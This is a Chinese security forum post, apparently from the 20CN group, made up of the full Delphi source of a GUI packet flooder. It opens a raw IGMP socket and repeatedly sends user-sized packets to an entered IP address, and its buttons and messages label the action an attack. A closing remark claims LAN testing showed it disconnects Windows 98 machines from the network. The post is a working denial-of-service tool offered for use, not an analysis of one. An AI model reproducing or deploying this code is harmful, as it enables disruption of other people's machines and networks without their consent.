|
![]() | 作者: sainthero [sainthero]
![]() |
登录 |
unit UnitMain; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons, winsock, ExtCtrls, Spin; type TFormMain = class(TForm) Timer1: TTimer; Panel1: TPanel; GroupBox1: TGroupBox; Label1: TLabel; Label2: TLabel; Label3: TLabel; Label4: TLabel; EditTARGET: TEdit; SpinEditPACKETSIZE: TSpinEdit; SpinEditTIMES: TSpinEdit; SpinEditDELAY: TSpinEdit; Bevel1: TBevel; BitBtn1: TBitBtn; BitBtn2: TBitBtn; BitBtn4: TBitBtn; BitBtn3: TBitBtn; Panel2: TPanel; Image1: TImage; procedure FormCreate(Sender: TObject); procedure BitBtn4Click(Sender: TObject); procedure BitBtn1Click(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure BitBtn2Click(Sender: TObject); procedure Timer1Timer(Sender: TObject); procedure BitBtn3Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var FormMain: TFormMain; // Global variables! TargetAddr:TSockAddr; PacketSize:Integer; Times:Integer; RawSocket:TSocket; b00m:pchar; implementation uses UnitAbout; {$R *.DFM} procedure TFormMain.FormCreate(Sender: TObject); var wsaData:TWSAData; begin Caption := Application.Title; if WSAStartup( MakeWord( 1, 2 ), wsaData ) <> 0 then begin ShowMessage( '对不起同志, 这个程序不能工作在不是winsock 2.1+' ); Application.Terminate; end; end; procedure TFormMain.BitBtn4Click(Sender: TObject); begin Close; end; procedure TFormMain.BitBtn1Click(Sender: TObject); begin showmessage('开始攻击!'); panel2.Caption:='正在攻击......'; // 我们现在做什么? // 首先我们生成一个sock数据包 RawSocket := socket( AF_INET, SOCK_RAW, IPPROTO_IGMP ); // 检查是否生IGMP数据包 if RawSocket = INVALID_SOCKET then begin // 没生成 ShowMessage( '对不起,不能生成IGMP包!' ); Application.Terminate; // quit end; // 设置时间间隔 ( 延时变量 ) Timer1.Interval := SpinEditDELAY.Value ; // 从FORM上取 // 从FORM上取 PacketSize := SpinEditPACKETSIZE.Value; Times := SpinEditTIMES.Value; TargetAddr.sa_family := AF_INET; // AF_INET = 目标地址 TargetAddr.sin_port := htons( 100 ); // port 100 TargetAddr.sin_addr.S_addr := inet_addr( pchar( EditTARGET.Text )); // 连接目标地址 if connect( RawSocket, TargetAddr, sizeof(TargetAddr)) <> 0 then begin ShowMessage( '找不到你所输的IP地址!' ); closesocket( RawSocket ); // 刷新 exit; end; // 在内存中按PACKETSIZE大小生成数据包 getmem( b00m, PacketSize ); if b00m = NIL then begin ShowMessage( '内存分配错!' ); closesocket( RawSocket ); // 刷新 Application.Terminate; end; BitBtn1.Enabled := False; BitBtn2.Enabled := True; // 按时间间隔发送数据 Timer1.Enabled := True; end; procedure TFormMain.FormDestroy(Sender: TObject); begin WSACleanup; end; procedure TFormMain.BitBtn2Click(Sender: TObject); begin Timer1.Enabled := False; // 释放内存 FreeMem( b00m ); closesocket( RawSocket ); BitBtn2.Enabled := False; BitBtn1.Enabled := True; showmessage('攻击完毕!'); panel2.Caption:='攻击完毕!'; end; procedure TFormMain.Timer1Timer(Sender: TObject); begin if Times = 0 then begin BitBtn2Click( Sender ); exit; end; // 发送数据包 send( RawSocket, b00m, PacketSize, 0 ); dec( Times ); end; procedure TFormMain.BitBtn3Click(Sender: TObject); begin FormAboutBox.ShowModal; end; end. 本程序在我们单位局域网测试,可以攻击WINDOWS98,通过发送IGMP数据包,导致对方机器 和 网络断开 |
地主 发表时间: 05/23 00:59 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号